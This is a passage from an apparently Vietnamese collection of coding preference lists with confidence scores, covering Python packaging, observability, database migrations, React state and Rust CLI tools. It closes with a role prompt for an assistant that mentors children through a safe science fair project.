phần nội dung dài ở trong thư mục docs/. Độ tin cậy: 0.90 - Bao gồm tệp đánh dấu `py.typed` khi bạn xuất bản các gói thư viện có định kiểu để người sử dụng nhận được thông tin kiểu dữ liệu nội tuyến. Độ tin cậy: 0.85 - Chạy lệnh `twine check` (hoặc lệnh tương đương trong uv) trên các gói thành phẩm đã đóng gói trước mỗi đợt phát hành. Độ tin cậy: 0.80 - Ưu tiên các điểm khởi chạy dạng `python -m package` hơn là các kịch bản bọc dòng lệnh (console-script wrappers) dễ lỗi khi cần gỡ lỗi. Độ tin cậy: 0.70 - Duy trì danh sách `__all__` và các mô-đun công khai một cách có chủ đích; đánh dấu các thành phần nội bộ bằng dấu gạch dưới ở đầu tên. Độ tin cậy: 0.80
Những ưu tiên mang tính định hướng rõ ràng cho nhật ký (logs), số liệu đo lường (metrics), dấu vết (traces) và gỡ lỗi trên môi trường thực tế (production).
# Khả Năng Quan Sát Hệ Thống (Observability) taste - Tích hợp đo lường bằng OpenTelemetry trước tiên và coi các bộ SDK của nhà cung cấp chỉ là trình xuất dữ liệu (exporters), chứ không phải là API mà bạn gọi trực tiếp. Độ tin cậy: 0.90 - Xuất nhật ký (logs) có cấu trúc định dạng JSON với lược đồ ổn định (`level`, `msg`, `service`, `trace_id`) thay vì các chuỗi văn bản tự do. Độ tin cậy: 0.95 - Truyền `trace_id` và `span_id` vào mọi dòng nhật ký để nhật ký và dấu vết (traces) tự động liên kết với nhau. Độ tin cậy: 0.95 - Ưu tiên bộ chỉ số RED cho các dịch vụ (tốc độ yêu cầu - rate, lỗi - errors, thời lượng - duration) và bộ chỉ số USE cho tài nguyên (mức sử dụng - utilization, độ bão hòa - saturation, lỗi - errors). Độ tin cậy: 0.85 - Kiểm soát chặt chẽ số lượng giá trị duy nhất (cardinality): không bao giờ đưa ID người dùng hoặc URL thô vào nhãn của số liệu đo lường (metric labels). Độ tin cậy: 0.95 - Lấy mẫu dấu vết từ đầu luồng (head-based sampling) trên môi trường production và luôn giữ lại toàn bộ các trường hợp lỗi cũng như các yêu cầu xử lý chậm. Độ tin cậy: 0.85 - Đặt tên cho các đoạn dấu vết (spans) theo đơn vị công việc (`http.server`, `db.query`, `queue.publish`), không đặt theo tên hàm nội bộ. Độ tin cậy: 0.80 - Ghi nhật ký ở mức info cho các sự kiện nghiệp vụ thành công, mức warn cho các sự cố có thể tự phục hồi, và chỉ dùng mức error khi thực sự cần con người kiểm tra. Độ tin cậy: 0.85 - Không bao giờ ghi thông tin bí mật (secrets), token, mật khẩu hoặc toàn bộ nội dung yêu cầu (request bodies) có chứa thông tin định danh cá nhân (PII) vào nhật ký. Độ tin cậy: 0.95 - Xác định các chỉ số SLO kèm theo ngân sách lỗi (error budgets) và cảnh báo dựa trên tốc độ tiêu hao ngân sách lỗi (burn rate), chứ không cảnh báo trên mọi đợt tăng vọt CPU đơn lẻ. Độ tin cậy: 0.85 - Ưu tiên sử dụng các mẫu đại diện (exemplars) giúp liên kết một điểm tăng vọt của số liệu với một dấu vết (trace) cụ thể hơn là chỉ phỏng đoán mò mẫm từ bảng điều khiển. Độ tin cậy: 0.80 - Cung cấp một bảng điều khiển tối thiểu cho mỗi dịch vụ: lưu lượng truy cập, độ trễ p95/p99, tỷ lệ lỗi và độ bão hòa tài nguyên. Độ tin cậy: 0.85 - Đưa `deployment.environment` và phiên bản dịch vụ vào làm thuộc tính tài nguyên (resource attributes) trên mọi tín hiệu thu thập được. Độ tin cậy: 0.90 - Sử dụng dữ liệu hành lý đi kèm (baggage) một cách tiết kiệm; đặt thông tin định danh ổn định vào thuộc tính tài nguyên thay vì lặp lại ở mọi thuộc tính của từng span. Độ tin cậy: 0.75 - Kiểm thử việc tích hợp đo lường trong quy trình CI bằng một yêu cầu kiểm thử khói (smoke request) nhằm xác nhận rằng có một span và một dòng nhật ký được sinh ra. Độ tin cậy: 0.70 - Đặt các tài liệu hướng dẫn xử lý sự cố (runbooks) ngay cạnh các cảnh báo để người trực ca (on-call) biết rõ ba bước kiểm tra đầu tiên cần thực hiện. Độ tin cậy: 0.85 - Ưu tiên sử dụng các phân nhóm biểu đồ tần suất (histogram buckets) được tinh chỉnh sát với mục tiêu độ trễ SLO của bạn hơn là dùng các phân nhóm mặc định. Độ tin cậy: 0.80
Những ưu tiên mang tính định hướng rõ ràng để viết các kịch bản di chuyển lược đồ cơ sở dữ liệu (database schema migrations) an toàn, không gây gián đoạn dịch vụ (zero-downtime).
# Di Chuyển Cơ Sở Dữ Liệu (Database Migrations) taste - Giữ mọi thay đổi lược đồ trong một tệp migration được quản lý phiên bản và commit ngay cạnh đoạn mã nguồn cần đến nó. Độ tin cậy: 0.95 - Viết các tệp migration bằng ngôn ngữ SQL thuần túy thay vì dùng các đoạn mã so sánh (diffs) do ORM tự sinh ra mà bạn chưa đọc kỹ. Độ tin cậy: 0.80 - Không bao giờ chỉnh sửa một tệp migration đã được chạy trên môi trường dùng chung; thay vào đó hãy thêm một tệp migration mới. Độ tin cậy: 0.95 - Sử dụng mô hình mở rộng và thu hẹp (expand and contract): thêm cột mới, điền bù dữ liệu cũ (backfill), chuyển luồng đọc sang cột mới, sau đó mới xóa cột cũ ở một bản phát hành sau. Độ tin cậy: 0.90 - Đảm bảo mọi tệp migration đều an toàn để chạy trong khi phiên bản ứng dụng trước đó vẫn đang phục vụ lưu lượng truy cập. Độ tin cậy: 0.90 - Thêm các cột mới ở dạng cho phép giá trị rỗng (nullable) hoặc có giá trị mặc định là hằng số để tránh việc phải ghi lại toàn bộ bảng kéo dài. Độ tin cậy: 0.85 - Tạo chỉ mục (index) trên các bảng Postgres lớn bằng lệnh CREATE INDEX CONCURRENTLY nằm ngoài giao dịch (transaction). Độ tin cậy: 0.90 - Thiết lập giá trị lock_timeout và statement_timeout ngắn ngay ở đầu mỗi tệp migration. Độ tin cậy: 0.85 - Chạy các tác vụ điền bù dữ liệu lớn (large backfills) dưới dạng các tiến trình chạy ngầm theo lô (batched background jobs), không chạy ngay bên trong tệp migration. Độ tin cậy: 0.90 - Chỉ giữ một thay đổi hợp lý duy nhất trong mỗi tệp migration để khi xảy ra lỗi sẽ dễ dàng đọc hiểu và chạy thử lại. Độ tin cậy: 0.80 - Đặt tên cho các tệp migration bằng tiền tố dấu thời gian UTC kèm theo một cụm động từ ngắn gọn như 20261017_add_orders_status. Độ tin cậy: 0.75 - Ưu tiên các tệp migration chỉ tiến về phía trước (forward-only) và sửa sai bằng một tệp migration mới thay vì phụ thuộc vào các kịch bản hoàn tác (down scripts). Độ tin cậy: 0.70 - Chạy các tệp migration như một bước triển khai (deploy) tách biệt trước khi mã ứng dụng mới bắt đầu khởi chạy. Độ tin cậy: 0.85 - Kiểm thử mọi tệp migration trong quy trình CI trên một cơ sở dữ liệu hoàn toàn mới và trên một bản sao dữ liệu có quy mô tương đương môi trường thực tế (production). Độ tin cậy: 0.80 - Thêm các khóa ngoại (foreign keys) và ràng buộc kiểm tra (check constraints) với tùy chọn NOT VALID trước, sau đó mới xác thực chúng ở một bước riêng biệt. Độ tin cậy: 0.80 - Chỉ đổi tên cột và bảng thông qua một khung nhìn (view) hoặc giai đoạn ghi kép (dual-write), không bao giờ đổi tên ngay trong một bước duy nhất. Độ tin cậy: 0.75 - Lưu trữ lịch sử các bản migration đã áp dụng trong cơ sở dữ liệu và cho dừng lỗi quá trình triển khai nếu phát hiện sai lệch (drift). Độ tin cậy: 0.85 - Duyệt (review) các tệp migration cẩn thận như duyệt mã nguồn ứng dụng, với câu lệnh SQL được tạo ra hiển thị rõ ràng trong pull request. Độ tin cậy: 0.90 - Tách biệt dữ liệu khởi tạo (seed) và dữ liệu mẫu kiểm thử (fixture) ra khỏi các tệp migration lược đồ. Độ tin cậy: 0.80
Những ưu tiên mang tính định hướng rõ ràng để quản lý trạng thái phía máy khách (client) và máy chủ (server) trong các ứng dụng React.
# Quản Lý Trạng Thái React taste - Bắt đầu với useState cục bộ và chỉ nâng trạng thái lên (lift state) khi hai thành phần anh em thực sự cần dùng chung nó. Độ tin cậy: 0.95 - Coi dữ liệu từ máy chủ là một bộ nhớ đệm (cache) và quản lý nó bằng TanStack Query thay vì đưa vào kho lưu trữ trạng thái toàn cục (global store). Độ tin cậy: 0.90 - Giữ các trạng thái xứng đáng nằm trên URL như bộ lọc, thẻ tab và phân trang ở trong các tham số tìm kiếm (search params). Độ tin cậy: 0.90 - Sử dụng Zustand khi trạng thái máy khách dùng chung vượt quá phạm vi của một cây thành phần (component tree) đơn lẻ. Độ tin cậy: 0.80 - Tránh dùng Redux cho các dự án mới trừ khi nhóm phát triển đã phụ thuộc sẵn vào bộ công cụ devtools và middleware của nó. Độ tin cậy: 0.70 - Sử dụng React Context cho các giá trị ít thay đổi như giao diện (theme), ngôn ngữ bản địa (locale) và người dùng hiện tại, không dùng cho dữ liệu thay đổi liên tục. Độ tin cậy: 0.90 - Tính toán các giá trị phái sinh ngay trong quá trình kết xuất (render) thay vì đồng bộ hóa chúng vào một trạng thái phụ bằng useEffect. Độ tin cậy: 0.95 - Mô hình hóa trạng thái cục bộ phức tạp bằng useReducer kết hợp với kiểu hợp phân biệt (discriminated union) của các hành động (actions). Độ tin cậy: 0.80 - Biểu diễn trạng thái bất đồng bộ dưới dạng một kiểu hợp (union) duy nhất như idle, loading, success và error thay vì dùng nhiều biến boolean rời rạc. Độ tin cậy: 0.85 - Quản lý trạng thái biểu mẫu trong React Hook Form kết hợp với lược đồ kiểm tra zod thay vì tự viết useState thủ công cho từng trường. Độ tin cậy: 0.80 - Chỉ chọn lát cắt dữ liệu (slice) nhỏ nhất từ kho lưu trữ trong mỗi thành phần để tránh việc kết xuất lại (re-render) không cần thiết. Độ tin cậy: 0.85 - Lưu trữ các mã định danh (id) trong trạng thái và tra cứu các đối tượng đầy đủ, thay vì sao chép trùng lặp dữ liệu lồng nhau. Độ tin cậy: 0.80 - Sử dụng cập nhật lạc quan (optimistic updates) cho các thao tác nhanh của người dùng và hoàn tác (roll back) khi xảy ra lỗi. Độ tin cậy: 0.75 - Không bao giờ thay đổi trực tiếp (mutate) các đối tượng trạng thái tại chỗ; hãy trả về các đối tượng mới hoặc dùng Immer cho các cập nhật nằm sâu bên trong. Độ tin cậy: 0.90 - Giữ cho trạng thái lưu trữ bền vững (persisted state) nhỏ gọn và có đánh số phiên bản khi lưu vào localStorage. Độ tin cậy: 0.75 - Đặt lại trạng thái của thành phần bằng cách thay đổi thuộc tính key của nó thay vì viết các hàm hiệu ứng (effects) để đặt lại. Độ tin cậy: 0.80 - Đặt các kho lưu trữ trạng thái (stores) nằm cạnh tính năng sở hữu chúng thay vì gom tất cả vào một thư mục store toàn cục duy nhất. Độ tin cậy: 0.75 - Định kiểu tường minh cho mọi kho lưu trữ và giá trị context, đồng thời tránh sử dụng kiểu any trong cấu trúc trạng thái. Độ tin cậy: 0.90
Những ưu tiên mang tính định hướng rõ ràng để xây dựng các công cụ dòng lệnh nhanh, thân thiện bằng ngôn ngữ Rust.
# Công Cụ CLI Rust taste - Phân tích cú pháp đối số dòng lệnh bằng clap sử dụng derive API và dùng các chú thích tài liệu (doc comments) làm văn bản trợ giúp. Độ tin cậy: 0.95 - Trả về kiểu anyhow::Result từ hàm main và thêm ngữ cảnh cho mọi bước có thể gây lỗi bằng phương thức .context(). Độ tin cậy: 0.90 - Định nghĩa các kiểu lỗi của thư viện bằng thiserror và chỉ giữ anyhow ở trong tệp thực thi nhị phân (binary). Độ tin cậy: 0.85 - Tách crate thành một tệp main.rs mỏng và một tệp lib.rs chứa toàn bộ logic thực tế để phục vụ kiểm thử. Độ tin cậy: 0.85 - Ghi kết quả đầu ra thông thường vào stdout và ghi nhật ký (logs), tiến trình cũng như thông báo lỗi vào stderr. Độ tin cậy: 0.95 - Cung cấp cờ --json cho đầu ra để máy đọc và tuần tự hóa (serialize) dữ liệu đó bằng serde. Độ tin cậy: 0.85 - Sử dụng thư viện tracing với bộ lọc môi trường được điều khiển bởi các cờ -v và cho phép ghi đè bằng biến môi trường RUST_LOG. Độ tin cậy: 0.80 - Tôn trọng biến môi trường NO_COLOR và tự động tắt màu sắc khi stdout không phải là một thiết bị đầu cuối (terminal). Độ tin cậy: 0.90 - Chỉ hiển thị thanh tiến trình bằng indicatif đối với các tác vụ kéo dài hơn khoảng một giây. Độ tin cậy: 0.75 - Thoát chương trình với các mã thoát (exit codes) riêng biệt, được ghi tài liệu rõ ràng thay vì lúc nào cũng trả về 1. Độ tin cậy: 0.80 - Đọc cấu hình theo thứ tự ưu tiên: cờ dòng lệnh trước, sau đó đến biến môi trường, rồi mới đến tệp cấu hình TOML. Độ tin cậy: 0.80 - Tìm đường dẫn cấu hình và bộ nhớ đệm (cache) bằng crate directories thay vì gán cứng đường dẫn thư mục người dùng (home paths). Độ tin cậy: 0.80 - Kiểm thử đầu cuối (end-to-end) tệp thực thi nhị phân bằng assert_cmd và kiểm thử chụp nhanh đầu ra (snapshot output) bằng insta. Độ tin cậy: 0.85 - Tránh sử dụng async và tokio trừ khi công cụ thực sự phải xử lý các tác vụ mạng đồng thời. Độ tin cậy: 0.75 - Tạo kịch bản tự động hoàn thành lệnh trên shell (shell completions) và trang hướng dẫn man page bằng clap_complete và clap_mangen ngay tại thời điểm biên dịch (build time). Độ tin cậy: 0.75 - Phân phối các tệp thực thi nhị phân đã biên dịch sẵn cho Linux, macOS và Windows bằng cargo-dist từ GitHub Actions. Độ tin cậy: 0.80 - Chạy cargo clippy với thiết lập từ chối mọi cảnh báo (warnings denied) và chạy cargo fmt --check trong quy trình CI. Độ tin cậy: 0.90 - Thiết lập opt-level, lto và strip trong cấu hình phát hành (release profile) để giữ kích thước tệp nhị phân nhỏ gọn. Độ tin cậy: 0.70 - Xử lý tổ hợp phím Ctrl+C một cách gọn gàng bằng crate ctrlc và không để lại các tệp đang ghi dở dang. Độ tin cậy: 0.80
Hướng dẫn học sinh từ 9-15 tuổi đi từ sự tò mò đến một dự án hội chợ khoa học kiểm chứng công bằng: chọn câu hỏi, bảng biến số, hướng dẫn đặt giả thuyết, quy trình có thể lặp lại, bảng dữ liệu và chọn biểu đồ, lịch trình tính ngược, câu hỏi gợi mở kết luận, bố cục bảng trưng bày và luyện trả lời giám khảo, kèm cảnh báo an toàn.
Hãy đóng vai một Người Hướng Dẫn Dự Án Hội Chợ Khoa Học Cho Trẻ Em. Bạn giúp một học sinh (từ 9 đến 15 tuổi) cùng phụ huynh hoặc giáo viên của em biến một câu hỏi tò mò thành một dự án hội chợ khoa học thực tế, có thể kiểm chứng được mà học sinh có thể tự mình thực hiện và thuyết trình. Bạn luôn khích lệ, kiên nhẫn và trung thực về những yếu tố tạo nên một phép thử công bằng (fair test). Bạn không bao giờ làm hộ dự án cho học sinh: bạn đặt các câu hỏi gợi mở, đưa ra các lựa chọn và để học sinh tự quyết định. Bạn luôn gắn cờ cảnh báo các vấn đề an toàn và hướng học sinh tránh xa bất kỳ thứ gì liên quan đến ngọn lửa trần, hóa chất mạnh, điện lưới sinh hoạt, thí nghiệm trên động vật sống, hoặc thử nghiệm nếm thức ăn trên người mà không có sự giám sát của người lớn và sự chấp thuận của nhà trường.
Hãy bắt đầu bằng việc hỏi các thông tin sau trong một tin nhắn ngắn gọn, thân thiện:
- Tuổi hoặc lớp của học sinh và thời gian còn lại trước ngày diễn ra hội chợ
- Hai hoặc ba điều mà học sinh đang tò mò (thể thao, nấu ăn, cây cối, âm nhạc, điện thoại, thời tiết, hoặc bất kỳ chủ đề nào)
- Các vật liệu và không gian sẵn có ở nhà hoặc ở trường, cùng mức ngân sách ước tính
- Quy định của hội chợ: các phần bắt buộc phải có, kích thước bảng trưng bày, dự án thiết kế kỹ thuật có được phép tham gia hay không, và tiêu chí chấm điểm của giám khảo
Sau đó, hãy hướng dẫn thực hiện dự án qua các giai đoạn sau:
1. **Bộ Chọn Câu Hỏi**: chuyển mỗi sự tò mò thành một câu hỏi có thể đo lường được ("Nhiệt độ nước có làm thay đổi tốc độ hòa tan của đường không?"). Đánh giá từng câu hỏi về tính khả thi, độ an toàn và thời gian thực hiện, đồng thời giúp học sinh chọn ra một câu hỏi.
2. **Các Biến Số và Phép Thử Công Bằng**: gọi tên biến độc lập, biến phụ thuộc và ít nhất ba biến kiểm soát trong một bảng nhỏ. Giải thích bằng ngôn từ gần gũi với trẻ em lý do tại sao việc chỉ thay đổi một yếu tố duy nhất tại một thời điểm lại quan trọng.
3. **Hướng Dẫn Đặt Giả Thuyết**: giúp học sinh viết một giả thuyết theo cấu trúc "Nếu ... thì ... bởi vì ..." bằng chính lời văn của em.
4. **Vật Liệu và Quy Trình**: một quy trình đánh số thứ tự rõ ràng để một người bạn cùng lớp cũng có thể làm lại giống hệt, với ít nhất ba lần thử nghiệm cho mỗi điều kiện và danh sách kiểm tra vật liệu kèm các vật dụng thay thế giá rẻ.
5. **Bảng Ghi Dữ Liệu**: một bảng kết quả trống có ghi sẵn đơn vị đo, cộng với gợi ý về loại biểu đồ phù hợp nhất (biểu đồ cột, biểu đồ đường hoặc biểu đồ phân tán) và giải thích lý do.
6. **Lịch Trình Thực Hiện**: một kế hoạch tính ngược từ ngày diễn ra hội chợ với các mốc kiểm tra cho việc làm thí nghiệm, phân tích dữ liệu, làm bảng trưng bày và luyện tập thuyết trình, được căn chỉnh vừa vặn với quỹ thời gian còn lại.
7. **Gợi Ý Kết Quả và Kết Luận**: các câu hỏi giúp học sinh tự giải thích những gì đã xảy ra, liệu giả thuyết ban đầu có được chứng minh hay không, các nguồn gây sai số, và những gì em muốn thử nghiệm tiếp theo.
8. **Bố Cục Bảng Trưng Bày**: sơ đồ bố trí bảng đơn giản (tiêu đề, câu hỏi, giả thuyết, quy trình, dữ liệu, biểu đồ, kết luận, hình ảnh) cùng các mẹo chọn phông chữ dễ đọc và căn khoảng cách hợp lý.
9. **Luyện Tập Trả Lời Giám Khảo**: tám câu hỏi mà giám khảo có khả năng sẽ hỏi và dàn ý bài nói dài 60 giây để học sinh có thể tập dượt trước.
Hãy giữ cho mọi lời giải thích ngắn gọn và phù hợp với lứa tuổi. Sử dụng danh sách kiểm tra (checklists) và bảng biểu. Nếu quỹ thời gian quá gấp rút, hãy nói rõ điều đó và gợi ý một phiên bản thu nhỏ hơn của cùng câu hỏi đó. Hãy tôn vinh những kết quả bất ngờ hoặc "thất bại" như một phần đích thực của khoa học.